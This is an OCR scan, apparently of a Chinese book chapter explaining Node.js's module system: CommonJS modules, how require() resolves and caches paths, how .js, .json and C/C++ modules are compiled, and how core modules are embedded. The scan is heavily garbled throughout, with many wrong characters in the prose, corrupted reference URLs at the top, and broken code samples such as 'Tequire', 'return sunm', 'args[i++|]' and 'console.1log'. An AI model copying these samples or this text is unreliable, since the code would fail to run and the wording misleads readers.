DQ http://stackoverflow.com/questions/5621812/why-1is-node-]Js-named-node-]s 

D http:/www.theregister.co.uk/2011/03/01/the rise and rise of node dot js/page4.html 
DQ http://ued.taobao.com/blog/2011/09/02/what-1s-nod/ 

QD http:/www.infoq.com/cn/news/2012/04/interview-xuegiu-using-node]s 

DQ http://teddziuba.com/2011/10/node-]s-1s-cancer.html 

D http:/www.cnblogs.com/fenemk2/archive/2011/12/14/2288147.html 
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模块 机 制 


自 完 ， 我 想 从 模块 为 你 九 九 道 来 Node。 

JavaScript 目 镍 生 以 来 , 曾经 没有 人 拿 它 当做 一 门 真 正 的 编程 语言 , 认为 它 不 过 是 一 种 网 页 小 
脚本 而 已 ， 在 Web 1.0 时 代 ， 这 种 脚本 语言 在 网 络 中 主要 有 两 个 作用 广 为 流 传 ， 一 个 是 表单 校 验 ， 
为 一 个 是 网 页 特效 。 男 一 方面 ， 由 于 仓促 地 被 创造 出 来 ， 所 以 它 目 身 的 各 种 陷阱 和 缺点 也 被 各 种 
编程 人 员 广 为 诉 病 。 直 到 Web 2.0 时 代 ， 前 并 工程 师 利 用 它 大 大 提升 了 网 页 上 的 用 户 体验 。 在 这 
个 过 程 中 ，B/S 应 用 展现 出 比 C/S 应 用 优越 的 地 方 。 至 此 ，JavaScript 才 被 广泛 重视 起 来 。 

在 Web 2.0 流 行 的 过 程 中 ， 各 种 前 端 库 和 框架 被 开发 出 来 ， 它 们 最 初 用 于 兼容 各 个 版 本 的 浏 
览 器 ,随后 随 着 更 多 的 用 户 需 求 在 前 端 被 实现 ,JavaScript 也 从 表单 校 验 跃 迁 到 应 用 开发 的 级 别 上 。 


在 这 个 过 程 中 ， 它 大 致 经 历 了 工具 类 库 、 组 件 库 、 前 痪 框 如 、 前 响应 用 的 变迁 ， 如 图 2-1 所 示 。 


工具 
(浏览 司 兼 容 ) 


组 件 
(功能 模块 ) 


框 染 


(功能 模块 组 织 ) 


应 用 
(业务 模块 组 织 ) 


图 2-1 JavaScript 的 变迁 


经 历 了 长 长 的 后 天 努力 过 程 , JavaScript 不 断 被 类 聚 和 抽象 ， 以 更 好 地 组 织 业 务 逻 辑 。 从 夯 一 
个 角度 而 言 ， 它 也 道 出 了 JavaScript 先 天 就 缺乏 的 一 项 功能 : 模块。 

在 其 他 高 级 语言 中 ，Java 有 类 文件 ，Python 有 import 机 制 ，Ruby 有 iequire，PHP 有 :include 
和 require。 而 JavaScript 通 过 <script> 标 签 引入 代码 的 方式 显得 杂乱 无 章 ， 语 言 目 身 坚 无 组 织 和 
约束 能 力 。 人 们 不 得 不 用 命名 空间 等 方式 人 为 地 约束 代码 ， 以 求 达 到 安全 和 易 用 的 目的 。 
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但 是 看 起 来 姿 乱 的 JavaScript 编 程 现状 并 不 代表 着 社区 没有 进步 ,JavaScript 的 本 地 化 编程 之 
路 一 直 在 探索 中 。 在 Node 出 现 之 前 ， 服 务 磊 端 JavaScript 基 本 没有 市 场 ， 与 欣欣 癌 采 的 前 并 
JavaScript 应 用 相 比 ，Rhino 等 后 端 JavaScript 运 行 环境 基本 只 是 用 于 小 工具 ， 但 是 经 历 十 多 年 的 
发 展 后 ， 社 区 也 为 JavaScript 制 定 了 相应 的 规范 ， 其 中 CommonJS 规 范 的 提出 算是 最 为 重要 的 里 
程 碑 。 


2.1 CommonJS 规范 
CommonJS 规 范 为 JavaScript 制 定 了 一 个 美好 的 愿景 一 一 希望 JavaScript 能 够 在 任何 地 方 运行 。 
2.1.1 CommonJS 的 出 发 点 


在 JavaScript 的 发 展 历程 中 ， 它 主要 在 浏览 硕 前 端 发 光 发 热 。 由 于 官方 规范 (ECMAScript ) 
规范 化 的 时 间 较 早 ， 规 范 涵 关 的 范畴 非常 小 。 这 些 规 范 中 包含 词法 、 类 型 、 上 下 文 、 表 达 式 、 声 
明 ( statement )、 方 法 、 对 和 象 等 语言 的 基本 要 系 。 在 实际 应 用 中 ，JavaScript 的 表现 能 力 取 决 于 答 
主 环境 中 的 API 支 持 程度 。 在 Web 1.0 时 代 ， 只 有 对 DOM、BOM 等 基本 的 支持 。 随 着 Web 2.0 的 推 
进 ，HTML5 思 露头 角 ， 它 将 Web 网 页 带 进 Web 应 用 的 时 代 ， 在 浏览 器 中 出 现 了 更 多 、 更 强大 的 
API 供 JavaScript 调 用 ， 这 得 感谢 W3C 组 织 对 HTML5 规 范 的 推进 以 及 各 大 浏览 器 厂商 对 规范 的 大 
力 文 持 。 但 是 , Web 在 发 展 ,浏览 硕 中 出 现 了 更 多 的 标准 API, 这 些 过 程 发 牛 在 前 端 , 后 端 JavaScript 
的 规范 却 远 远 洛 后 。 对 于 JavaScript 目 身 而 言 ， 它 的 规范 依然 是 清 弱 的 ， 还 有 以 下 缺陷 。 
口 没有 模块 系统 。 
口 标准 库 较 少 。ECMAScript 仅 定义 了 部 分 核心 库 ， 对 于 文件 系统 ，LO 流 等 常见 需求 却 没有 
标准 的 API。 就 HTMLS 的 发 展 状况 而 言 ，W3C 标 准 化 在 一 定 意义 上 是 在 推进 这 个 过 程 ， 
但 是 它 仅 限于 浏览 硕 端 。 

口 没有 标准 接口 。 在 JavaScript 中 ， 几 乎 没有 定义 过 如 Web 服 务 需 或 者 数据 库 之 类 的 标准 统 
一 接口 。 

口 缺乏 包 管 理 系统 。 这 导致 JavaScript 凡 用 中 基本 没有 日 动 加 载 和 安装 依赖 的 能 

CommonJS 规 范 的 提出 ， 主 要 是 为 了 弥补 当前 JavaScript 没 有 标准 的 缺陷 ， 以 达到 像 Python、 
Ruby 和 Java 具 备 开 发 大 型 应 用 的 基础 能 力 ， 而 不 是 俘 留 在 小 脚本 程序 的 阶段 。 他 们 期 望 那些 用 
CommonJS API 写 出 的 应 用 可 以 具备 路 簿 主 环境 执行 的 能 力 ， 这 样 不 仅 可 以 利用 JavaScript 开 发 吝 
客户 病 应 用 ， 而 且 还 可 以 编写 以 下 应 用 。 

口 服务 大 病 JavaScript 恬 用 程序 。 

D 命令 行 工 具 。 

口 果 面 图 形 界 面 应 用 程序 。 

口 混合 应 用 (Titanium 和 Adobe AIR 等 形式 的 应 用 )。 

如 今 ，CommonJS 中 的 大 部 分 规范 虽然 依旧 是 草案 , 但 是 已 经 初 显 成 效 ， 为 JavaScript 开 发 大 
型 应 用 程序 指明 了 一 条 非常 棒 的 道路 。 目 前 ， 它 依旧 在 成 长 中 ， 这 些 规 范 洱 盖 了 模块 、 二 进 制 、 
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Buffer、 字 符 集 编码 、LO 流 、 进 程 环境 、 文 件 系统 、 套 接 字 、 单 元 测试 、Web 服 务 融 网 关 接 口 、 
包 管 理 等 。 

理论 和 实践 总 是 相互 影响 和 促进 的 ,Node 能 以 一 种 比较 成 熟 的 姿态 出 现 ， 离 不 开 CommonJS 
规范 的 影响 。 在 服务 需 端 ，CommonJS 能 以 一 种 寻 第 的 姿态 写 进 各 个 公司 的 项 目 代 码 中 ， 离 不 开 
Node 优 异 的 表现 。 实 现 的 优 恨 表现 离 不 开 规 范 最 初 优 秀 的 设计 ， 规 范 因 实现 的 推广 而 得 以 普及 。 
图 2-2 是 Node 与 浏览 器 以 及 W3C 组 织 、CommonJS 组 织 、ECMAScript 之 间 的 关系 ， 共 同 构 成 了 一 
个 繁 采 的 生态 系统 。 


训 览 器 | CommonJS 
W3C Node 


图 2-2 ”Node 与 浏览 器 以 及 W3C 组 织 、CommonJS 组 织 、ECMAScript 之 间 的 关系 


Node 仿 鉴 CommonJS 的 Modules 规 范 实 现 了 一 套 非 常 易 用 的 模块 系统 ，NPM 对 Packages 规 范 
的 完好 文 持 使 得 Node 应 用 在 开发 过 程 中 事半功倍 。 在 本 章 中 ， 我 们 主要 就 Node 的 模块 和 包 的 实 
现 进 行 展 开 说 明 。 


2.1.2 ” CommonJS 的 模块 规范 


CommonJS 对 模块 的 定义 十 分 人 简单， 主要 分 为 模块 引用 、 模 块 定义 和 模块 标识 3 个 部 分 。 
1. 模块 引用 
模块 引用 的 示例 代码 如 下 : 
var math = Tequire(' math ' ) ; 
在 CommonJS 规 范 中 , 存在 require() 方 法 , 这 个 方法 接受 模块 标识 , 以 此 引入 一 个 模块 的 API 
到 当前 上 下 文中 。 
2. 模块 定义 
在 模块 中 ， 上 下 文 提 供 require() 方 法 来 引入 外 部 模块 。 对 应 引入 的 功能 ， 上 下 文 提 供 了 
exports 对 象 用 于 导出 当前 模块 的 方法 或 者 变量 ， 并且 它 是 唯一 导出 的 出 口 。 在 模块 中 ， 还 存在 
一 个 module 对 象 ， 它 代表 模块 自身 ， 而 exports 是 module 的 属性 。 在 Node 中 ， 一 个 文件 就 是 一 个 
便 块 ， 将 方法 挂 载 在 exports 对 象 上 作为 属性 即 可 定义 导出 的 方式 : 
// math.js 
exports.add = function () { 
var sum = 0， 
i = 0， 
args = arguments, 


1 = args.length; 
while (i < 1) { 
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sum += args[i++|]; 


return sunm; 


}; 
在 另 一 个 文件 中 ,我 们 通过 require() 方 法 引入 模块 后 ， 就 能 调用 定义 的 属性 或 方法 了 : 
// program.js Ci 


var math = require('math'); 

exports.increment = function (val) { 

人 math.add(val, 1); 

3. 模块 标识 

模块 标识 其 实 就 是 传递 给 require() 方 法 的 参数 ， 它 必须 是 符合 小 驼峰 命名 的 字符 串 ， 或 者 
以 .、. .开头 的 相对 路 径 ， 或 者 绝对 路 径 。 它 可 以 没有 文件 名 后 组 .js。 

模块 的 定义 十 分 简单 ,接口 也 十 分 简 清 。 它 的 意义 在 于 将 类 聚 的 方法 和 变量 等 限定 在 私有 的 
作用 域 中 ， 同 时 支持 引入 和 导出 功能 以 顺畅 地 连接 上 下 游 依赖 。 如 图 2-3 所 示 ， 每 个 模块 具有 独 
立 的 空间 ， 它 们 互 不 干扰 ， 在 引用 时 也 显得 干净 利落。 


module 


require exports 


图 2-3 ”模块 定义 


CommonJS 构 建 的 这 套 模 块 导出 和 引入 机 制 使 得 用 户 完 全 不 必 考 虑 变量 污染 ， 命 名 空间 等 方 
案 与 之 相 比 相形 见 细 。 


2.2 ”Node 的 模块 实现 


Node 在 实现 中 并 非 完 全 按照 规范 实现 , 而 是 对 模块 规范 进行 了 一 定 的 取舍 , 同时 也 增加 了 少 
许 自身 需要 的 特性 。 尺 管 规范 中 exports、require 和 module 听 起 来 十 分 简单 ， 但 是 Node 在 实现 它 
们 的 过 程 中 究 苋 经历 了 什么 ， 这 个 过 程 需 要 知晓 。 

在 Node 中 引入 模块 ， 需 要 经 历 如 下 3 个 步 又 。 

(1) 路 径 分 析 

(2) 文件 定位 

(3) 编译 执行 

在 Node 中 ， 模 块 分 为 两 类 : 一 类 是 Node 提 供 的 模块 ， 称 为 核心 模块 ; 另 一 类 是 用 户 编写 的 
模块 ， 称 为 文件 模块 。 
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口 核心 模块 部 分 在 Node 源 代码 的 编译 过 程 中 ， 编 译 进 了 二 进 制 执 行文 件 。 在 Node 进 程 局 动 
时 ， 部 分 核心 模块 束 被 下 接 加 载 进 内 存 中 ， 所 以 这 部 分 核心 模块 引入 时 ， 文 件 定 位 和 编 
详 执行 这 两 个 步 又 可 以 省 略 择 ， 并 且 在 路 径 分 析 中 优先 判断 ， 所 以 它 的 加 载 速 度 是 最 
快 的 。 

口 文件 模块 则 是 在 运行 时 动态 加 载 ， 需 要 完整 的 路 径 分 机、 文件 定位 、 编 详 执行 过 程 ， 速 
度 比 核心 模块 慢 。 

接 下 来 ， 我 们 展开 详细 的 模块 加 载 过 程 。 


2.2.1 优先 从 缓存 加 载 


展开 介绍 路 径 分 析 和 文件 定位 之 前 , 我 们 需要 知晓 的 一 点 是 , 与 前 剖 浏 览 瘟 会 绥 存 静态 脚本 
文件 以 提高 性 能 一 样 , Node 对 引入 过 的 模块 痢 会 进行 缓存 ,以 减少 二 次 引入 时 的 开销 , 不同 的 地 
方 在 于 ， 浏 览 器 仅仅 缓存 文件 ， 而 Node 缓 存 的 是 编译 和 执行 之 后 的 对 象 。 

不 论 是 核心 模块 还 是 文件 模块 ,require() 方 法 对 相同 模块 的 二 次 加 载 都 一 律 采 用 绥 存 优先 的 
方式 ， 这 是 第 一 优先 级 的 。 不 同 之 处 在 于 核心 模块 的 缓存 检查 先 于 文件 模块 的 缓存 检查 。 


2.2.2 ”路 径 分 析 和 文件 定位 


为 标识 符 有 几 种 形式 ， 对 于 不 同 的 标识 符 ， 模 块 的 查找 和 和 定位 有 不 同 程度 上 的 差异 。 

1. 模块 标识 符 分 析 

前 面 提 到 过 ，require() 方 法 接受 一 个 标识 符 作 为 参数 。 在 Node 实 现 中 ， 正 是 基于 这 样 一 个 
标识 符 进 行 模块 查找 的 。 模 块 标识 符 在 Node 中 主要 分 为 以 下 几 类 。 

口 核心 模块 ， 如 http、fs 、path 等 。 

口 .或 .. 开 始 的 相对 路 径 文件 模块 。 

口 以 /开始 的 绝对 路 径 文件 模块 。 

口 非 路 径 形 式 的 文件 模块 ， 如 和 目 定 义 的 connect 模 块 。 

@ 核心 模块 

核心 模块 的 优先 级 仅 次 于 缓存 加 载 ， 它 在 Node 的 源 代码 编译 过 程 中 已 经 编译 为 二 进 制 代码 ， 
其 加 载 过 程 最 快 。 

如 果 试 图 加 载 一 个 与 核心 模块 标识 符 相 同 的 自 定 义 模块 , 那 是 不 会 成 功 的 。 如 果 目 己 编写 了 
一 个 http 用 户 模 块 ， 想 要 加 载 成 功 ， 必 须 选 择 一 个 不 同 的 标识 符 或 者 换 用 路 径 的 方式 。 

@ 路 径 形式 的 文件 模块 

以 .、.. 和 /开始 的 标识 符 ， 这 里 都 被 当做 文件 模块 来 处 理 。 在 分 析 路 径 模块 时 ，require() 方 
法 会 将 路 径 转 为 真实 路 径 ,， 并 以 真实 路 径 作 为 索引 ,将 编译 执行 后 的 结果 存放 到 缓存 中 ， 以 使 二 
次 加 载 时 更 快 。 

由 于 文件 模块 给 Node 指 明了 确切 的 文件 位 置 , 所 以 在 查找 过 程 中 可 以 节约 大 量 时 间 , 其 加 载 
速度 慢 于 核心 模块 。 
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@ 自 定义 模块 

日 定义 模块 指 的 是 非 核心 模块 ， 也 不 是 路 径 形 式 的 标识 符 。 它 是 一 种 特殊 的 文件 模块 ,可 能 
是 一 个 文件 或 者 包 的 形式 。 这 类 棕 块 的 查找 是 最 费时 的 ， 也 是 所 有 方式 中 最 慢 的 一 种 。 

在 介绍 日 定义 模块 的 查找 方式 之 前 ， 需 要 先 介 绍 一 下 模块 路 径 这 个 概念 。 

模块 路 径 是 Node 在 定位 文件 模块 的 具体 文件 时 制定 的 查找 策略 ,具体 表现 为 一 个 路 径 组 成 的 
数组 。 关 于 这 个 路 径 的 生成 规则 ， 我 们 可 以 手动 尝试 一 番 。 

(1) 创建 module path.js 文 件 ， 其 内 容 为 console.1log(module.paths);。 

(2) 将 其 放 到 任意 一 个 目录 中 然后 执行 node module_path.js。 

在 Linux 下 ， 你 可 能 得 到 的 是 这 样 一 个 数组 输出 : 

[ '/home/jackson/research/node modules', 

'/home/jackson/node modules', 


'/home/node modujles ， 
'/node modules' | 


而 在 Windows 下 ， 也 许 是 这 样 : 

[ 'c:\\nodejs\\node modules', 'c:\\node modules”] 

可 以 看 出 ,模块 路 径 的 生成 规则 如 下 所 示 。 

口 当前 文件 目录 下 的 node_modules 目 录 。 

口 父 目录 下 的 node modules 目 录 。 

口 父 目 录 的 父 目录 下 的 node_modules 目 录 。 

口 沿路 径 癌 上 逐 级 递归 ， 和 直到 根 日 录 下 的 node modules 目 录 。 

它 的 生成 方式 与 JavaScript 的 原型 链 或 作用 域 链 的 查找 方式 十 分 类 似 。 在 加 载 的 过 程 中 , Node 
会 未 个 尝试 模块 路 径 中 的 路 径 ， 和 耻 到 找到 目标 文件 为 止 。 可 以 看 出 ， 当 前 文件 的 路 径 越 深 , 模块 
查找 耗 时 会 越 多 ， 这 是 目 定 义 模块 的 加 载 速 度 是 最 慢 的 原因 。 

2. 文件 定位 

从 缓存 加 载 的 优化 策略 使 得 二 次 引入 时 不 需要 路 径 分 析 、 文 件 定 位 和 编译 执行 的 过 程 , 大 大 
提高 了 再 次 加 载 模块 时 的 效率 。 

但 在 文件 的 定位 过 程 中 , 还 有 一 些 细 市 宕 要 注意 ,这 主要 包括 文件 扩展 名 的 分 析 、 目 录 和 包 
的 处 理 。 

@ 文件 扩展 名 分 析 

require() 在 分 析 标 识 符 的 过 程 中 ,会 出 现 标 识 符 中 不 包含 文件 扩展 名 的 情况 。CommonJS 模 
块 规范 也 允许 在 标识 符 中 不 包含 文件 扩展 名 ， 这 种 情况 下 ，Node 会 按 .js、.json、.node 的 次 序 补 
足 扩展 名 ， 依 次 尝试 。 

在 尝试 的 过 程 中 ,需要 调用 fs 模块 同步 阻 答 式 地 判断 文件 是 否 存 在 。 因 为 Node 是 单线 程 的 ， 
所 以 这 里 是 一 个 会 引起 性 能 问题 的 地 方 。 小 诀 守 是 : 如 果 是 .node 和 .json 文 件 , 在 传递 给 require() 
的 标识 符 中 市 上 扩展 名 , 会 加 快 一 点 速度 。 夯 一 个 诀 千 是 : 同步 配合 绥 存 , 可 以 大 幅度 绥 解 Node 
单线 程 中 阻 堵 式 调 用 的 缺陷 。 
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@ 目录 分 析 和 包 

在 分 析 标 识 符 的 过 程 中 ， require() 通 过 分 析 文 件 扩 展 名 之 后 ,可 能 没有 查找 到 对 应 文件 , 但 
却 得 到 一 个 目录 , 这 在 引入 上 自 定义 模块 和 逐个 模块 路 径 进 行 查找 时 经 常会 出 现 , 此 时 Node 会 将 目 
录 当 做 一 个 包 来 处 理 。 

在 这 个 过 程 中 , Node 对 CommonJS 包 规范 进行 了 一 定 程度 的 文 持 。 首 先 ， Node 在 当前 目录 下 
查找 packagejson (CommonJS 包 规范 定义 的 包 摘 述 文件 )， 通 过 JSON.parse() 解 析出 包 摘 述 对 象 ， 
从 中 取出 main 属 性 指定 的 文件 名 进行 定位 。 如 采 文 件 名 缺少 扩展 名 , 将 会 进入 扩展 名 分 析 的 步 桑 。 

而 如 果 main 属 性 指定 的 文件 名 错误 ， 或 者 压根 没有 package.json 文 件 ，Node 会 将 index 当 做 默 
认 文 件 名 ， 然 后 依次 查找 index.js、index.json、index.node。 

如 果 在 目录 分 析 的 过 程 中 没有 定位 成 功 任 何 文 件 , 则 目 定 义 模 块 进 入 下 一 个 模块 路 径 进 行 查 
找 。 如 果 模 块 路 径 数 组 部 被 珊 历 完毕 ， 依 然 没 有 查找 到 目标 文件 ， 则 会 抛 出 查找 失败 的 异 稼 。 


2.2.3 ”模块 编译 
在 Node 中 ， 每 个 文件 模块 都 是 一 个 对 象 ， 它 的 定义 如 下 : 


function Module(id, parent) { 
this.id = id; 
this.exports = {}; 
this.parent = parent; 
if (parent && parent.children) { 
parent.children.push(this); 
} 


this.filename = null; 
this.loaded = false; 
this.children = [|]; 

} 


编译 和 执行 是 引入 文件 模块 的 最 后 一 个 阶段 。 定位 到 具体 的 文件 后 , Node 会 新 建 一 个 模块 对 
象 , 然后 根据 路 径 载 人 并 编译 。 对 于 不 同 的 文件 扩展 名 ,其 载 人 方法 也 有 所 不 同 , 具体 如 下 所 示 。 

D .js 文件 。 通 过 fs 模块 同步 读 取 文件 后 编译 执行 。 

口 .node 文 件 。 这 是 用 C/C++ 编写 的 扩展 文件 ， 通 过 dlopen() 方 法 加 载 最 后 编译 生成 的 文件 。 

口 json 文件 。 通 过 fs 模块 同步 恋 取 文件 后 ， 用 ISON.parse() 解 析 返 回 结 果 。 

口 其 余 扩展 名 文件 。 它 们 都 被 当做 .js 文件 载 入。 

每 一 个 编译 成 功 的 模块 都 会 将 其 文件 路 径 作 为 穴 引 缕 存 在 Module. cache 对 和 象 上 ， 以 提高 二 
次 引入 的 性 能 。 

根据 不 同 的 文件 扩展 名 ，Node 会 调用 不 同 的 读 取 方式 ， 如 .json 文 件 的 调用 如 下 : 


// Native extension for .json 
Module. extensions['.json'] = function(module, filename) { 
var content = NativeModule.require('fs').readFileSync(filename, 'utf8'); 
try { 
module.exports = JSON.parse(stripBOM(content)); 
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} catch (err) { 
err.message = filename + ': ' + err.message; 
throw err; 
} 
}; 


其 中 ，Module. extensions 会 被 赋值 给 require() 的 extensions 属 性 ， 所 以 通过 在 代码 中 访问 2 
require.extensions 可 以 知道 系统 中 已 有 的 扩展 加 载 方式 。 编 写 如 下 代码 测试 一 下 : 

console.log(require.extensions); 
得 到 的 执行 结 采 如 下 : 

{ .js : [Function], '.json': [Function], '.node': [Function| } 

如 果 想 对 自 定义 的 扩展 名 进行 特殊 的 加 载 ， 可 以 通过 类 似 require.extensions[' .ext'] 的 方 
式 实现 。 早期 的 CoffeeScript 文 件 就 是 通过 添加 require.extensions[' .coffee'] 扩 展 的 方式 来 实现 
加 载 的 。 但 是 从 v0.10.6 版 本 开始 ,官方 不 至 励 通过 这 种 方式 来 进行 目 定义 扩展 名 的 加 载 ， 而 是 期 
望 先 将 其 他 语言 或 文件 编译 成 JavaScript 文 件 后 再 加 载 ,这 样 做 的 好 处 在 于 不 将 烦琐 的 编译 加 载 等 
过 程 引 入 Node 的 执行 过 程 中 。 

在 确定 文件 的 扩展 名 之 后 ，Node 将 调用 具体 的 编译 方式 来 将 文件 执行 后 返回 给 调用 者 。 

1. JavaScript 模 块 的 编译 

回 到 CommonJS 柑 块 规范 ， 我 们 知道 每 个 模块 文件 中 存在 看 require 、exports、module 这 3 个 
变量 , 但 是 它们 在 模块 文件 中 并 没有 定义 ， 那么 从 何 而 来 呢 ?” 其 至 在 Node 的 API 文 档 中 ， 我 们 知 
道 每 个 模块 中 还 有 filename 、_dirname 这 两 个 变量 的 存在 , 它们 又 是 从 何 而 来 的 呢 ? 如 果 我 们 
把 百 接 定 义 模 块 的 过 程 放 诸 在 浏览 融 病 ， 会 存在 污染 全 局 变量 的 情况 。 

事实 上， 在 编译 的 过 程 中 ，Node 对 获取 的 JavaScript 文 件 内 容 进 行 了 头 尾 包装 。 在 头 部 添加 
了 (function (exports, require, module， filename， dirname) {\n， 在 尾部 添加 了 \n});。 
一 个 正 篆 的 JavaScript 文 件 会 被 包 半 成 如 下 的 样子 : 

(function (exports, require, module, filename, dirname) { 

var math = require('math'); 
exports.area = function (radius) { 
return Math.PI * radius * radius; 


上 
| 


这 样 每 个 模块 文件 之 间 都 进行 了 作用 域 隔 离 。 包 装 之 后 的 代码 会 通过 vm 原 生 模 块 的 
runInThisContext() 方 法 执行 (类 似 eval， 只 是 具有 明确 上 下 文 ， 不 污染 全 局 )， 返 回 一 个 具体 的 
function 对 象 。 最 后 ,将 当前 模块 对 象 的 exports 属 性 、require() 方 法 、module ( 模块 对 象 目 午 )， 
以 及 在 文件 定位 中 得 到 的 完整 文件 路 径 和 文件 目录 作为 参数 传递 给 这 个 function() 执 行 。 

这 就 是 这 些 变 量 并 没有 定义 在 每 个 模块 文件 中 却 存 在 的 原因 。 在 执行 之 后 ,模块 的 exports 
属性 被 返回 给 了 调用 方 。exports 属 性 上 的 任何 方法 和 属性 都 可 以 被 外 部 调用 到 ， 但 是 模块 中 的 
其 余 变量 或 属性 则 不 可 直接 被 调用 。 

至 此 ，require、exports 、module 的 流程 已 经 完整 ， 这 就 是 Node 对 CommonJS 模 块 规范 的 实现 。 
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此 外 ,许多 初学 者 都 曾经 纠结 过 为 何 存在 exports 的 情况 下 ， 还 存在 module.exports。 理 想 情 
况 下 ， 只 要 赋值 给 exports 即 可 : 


exports = function () { 
// My Class 
}; 
但 是 通常 都 会 得 到 一 个 失败 的 结果 。 其 原因 在 于 ，exports 对 象 是 通过 形 参 的 方式 传人 的 ， 
直接 赋值 形 参 会 改变 形 参 的 引用 ， 但 并 不 能 改变 作用 域外 的 值 。 测 试 代 码 如 下 : 
var change = function (a) { 


a = 100; 
console.log(a); // => 100 


}; 
var a = 10; 
change(a); 


console.1log(a); // => 10 

如 果 要 达到 require 引 入 一 个 类 的 效果 ,请 赋值 给 module.exports 对 象 。 这 个 迁 回 的 方案 不 改 
变形 参 的 引用 。 

2. C/C++ 模块 的 编译 

Node 调 用 process .dlopen() 方 法 进行 加 载 和 执行 ,在 Node 的 架构 下 , dlopen() 方 法 在 Windows 
和 *nix 平 台 下 分 别 有 不 同 的 实现 ， 通 过 libuv 莱 容 层 进行 了 封 污 。 

实际 上 ，.node 的 模块 文件 并 不 需要 编 翌 ,因为 它 是 编写 C/C++ 模块 之 后 编译 生成 的 ， 所 以 这 
里 只 有 加 载 和 执行 的 过 程 。 在 执行 的 过 程 中 ,模块 的 exports 对 和 象 与 .node 模 块 产生 联系 ， 然 后 返 
回 给 调用 者 。 

C/C++ 模块 给 Node 使 用 者 带 来 的 优势 主要 是 执行 效率 方面 的 ， 劣 势 则 是 C/C++ 模块 的 编写 门 
星 比 JavaScript 高 。 

3. JSON 文 件 的 编译 

.json 文 件 的 编译 是 3 种 编译 方式 中 最 简单 的 。Node 利 用 fs 模块 同步 读 取 JSON 文 件 的 内 容 之 
后 ， 调 用 ]SON.parse() 方 法 得 到 对 象 ， 然 后 将 它 赋 给 模块 对 象 的 exports， 以 供 外 部 调用 。 

JSON 文 件 在 用 作 项 目的 配置 文件 时 比较 有 用 。 如 果 你 定义 了 一 个 JSON 文 件 作为 配置 ， 那 就 
不 必 调 用 fs 模块 去 异步 读 取 和 解析, 直接 调用 require() 引 入 即 可 。 此 外 , 你 还 可 以 享受 到 模块 组 
存 的 便利 ， 并 且 二 次 引入 时 也 没有 性 能 影响 。 

这 里 我 们 提 到 的 模块 编译 都 是 指 文件 模块 ， 即 用 户 上 自己 编写 的 模块 。 在 下 一 市 中 , 我 们 将 展 
开 介 绍 核 心 模块 中 的 JavaScript 模 块 和 C/C++ 模块 。 


2.3 ”核心 模块 


前 面 提 到 , Node 的 核心 模块 在 编译 成 可 执行 文件 的 过 程 中 被 编译 进 了 二 进 制 文件 。 核心 模块 
其 实 分 为 C/C++ 编写 的 和 JavaScript 编 写 的 两 部 分 ， 其 中 C/C++ 文件 存放 在 Node 项 目的 src 上 日 录 下 ， 
JavaScript 文 件 存 放 在 lib 目 录 下 。 
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2.3.1 JavaScript 核 心 模块 的 编译 过 程 


在 编 详 所 有 C/C++ 文 件 之 前 ， 编 译 程序 需要 将 所 有 的 JavaScript 模 块 文件 编 详 为 COC++ 代 但 ， 
此 时 是 否 下 接 将 其 编译 为 可 执行 代码 了 呢 ? 其 实 不 是 。 

1. 转 存 为 C/C++ 代码 

Node 采 用 了 V8 附 种 的 js2c.py 工 具 ， 将 所 有 内 置 的 JavaSceript 代 人 码 ( src/mode.js 和 lib/*.js ) 转换 
成 C++ 里 的 数组 ， 和 后 成 node_natives.h 头 文件 ， 相 关 代 码 如 下 : 


namespace node { 


const char node native[| = { 47, 47, ..}; 

const char dgram native[] = { 47, 47, ..}; 

const char console native[] = { 47, 47, ..}; 
const char buffer native[] = { 47, 47, ..}; 
const char querystring native[] = { 47, 47, ..}; 
const char punycode native[] = { 47, 42, ..}; 


struct native { 
const char* name; 
const char* source; 
size t source len; 


用 


static const struct native natives[] = { 
{ "node", node native, sizeof(node native)-1 }, 
{ "dgram", dgram native, sizeof(dgram native)-1 }, 


ee 


} 

在 这 个 过 程 中 ，JavaScript 代 码 以 字符 串 的 形式 存储 在 node 命 名 空间 中 ， 是 不 可 直接 执行 的 。 
在 启动 Node 进 程 时 ，JavaScript 代 人 码 直 接 加 载 进 内 存 中 。 在 加 载 的 过 程 中 ，JavaScript 核 心 模块 经 
历 标 识 符 分 析 后 直接 定位 到 内 存 中 ， 比 普通 的 文件 模块 从 磁盘 中 一 处 一 处 查找 要 快 很 多 。 

2. 编译 JavaScript 核 心 模 块 

lib 目 录 下 的 所 有 模块 文件 也 没有 定义 require 、module、exports 这 些 变量 。 在 引入 JavaScript 
核心 模块 的 过 程 中 ， 也 经 历 了 头 尾 包 装 的 过 程 ， 然 后 才 执 行 和 导出 了 exports 对 象 。 与 文件 模块 
有 区 别 的 地 方 在 于 : 获取 源 代 码 的 方式 (核心 模块 是 从 内 存 中 加 载 的 ) 以 及 缓存 执行 结果 的 位 置 。 

JavaScript 核 心 模块 的 定义 如 下 面 的 代码 所 示 , 源 文件 通过 process .binding('natives') 取 出 ， 
编译 成 功 的 模块 缓存 到 NativeModule._cache 对 象 上 ， 文件 模块 则 缓存 到 Module. cache 对 和 象 上 : 


function NativeModule(id) { 
this.filename = id + '.js'; 
this.id = id; 
this.exports = {}; 
this.loaded = false; 


NativeModule. source = process.binding('natives'); 
NativeModule. cache = {}; 
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2.3.2 C/C++ 核心 模块 的 编译 过 程 


在 核心 模块 中 ， 有 些 模块 全 部 由 C/C++ 编写 ， 有 些 模块 则 由 C/C++ 完成 核心 部 分 ， 其 他 部 分 
则 由 JavaScript 实 现 包 法 或 回 外 导出 ,以 满足 性 能 需求 ,后 面 这 种 C++ 模 块 主 内 完成 核心 ,JavaScript 
主 外 实现 封装 的 模式 是 Node 能 够 提高 性 能 的 常见 方式 ,通常 ,脚本 语言 的 开发 速度 优 于 静态 垣 言 ， 
但 是 其 性 能 则 异 于 前 态 语言 。 而 Node 的 这 种 复合 模式 可 以 在 开发 速度 和 性 能 之 间 找 到 平衡 点 。 

这 里 我 们 将 那些 由 纯 C/C++ 编写 的 部 分 统一 称 为 内 建 模块 ， 因 为 它们 通常 不 被 用 户 直 接 调 
用 。Node 的 buffer、crypto、evals、fs、os 等 模块 都 是 部 分 通过 C/C++ 编写 的 。 

1. 内 建 模块 的 组 织 形式 

在 Node 中 ， 内 建 模块 的 内 部 结构 定义 如 下 : 


struct node module struct { 
int version; 
void *dso handle; 
const char *filename; 
void (*register func) (v8::Handle<v8::0bject> target); 
const char *modname; 


}; 
每 一 个 内 建 模块 在 定义 之 后 , 都 通过 NODE_MODULE 宏 将 模块 定义 到 node 命 名 空间 中 , 模块 的 具 
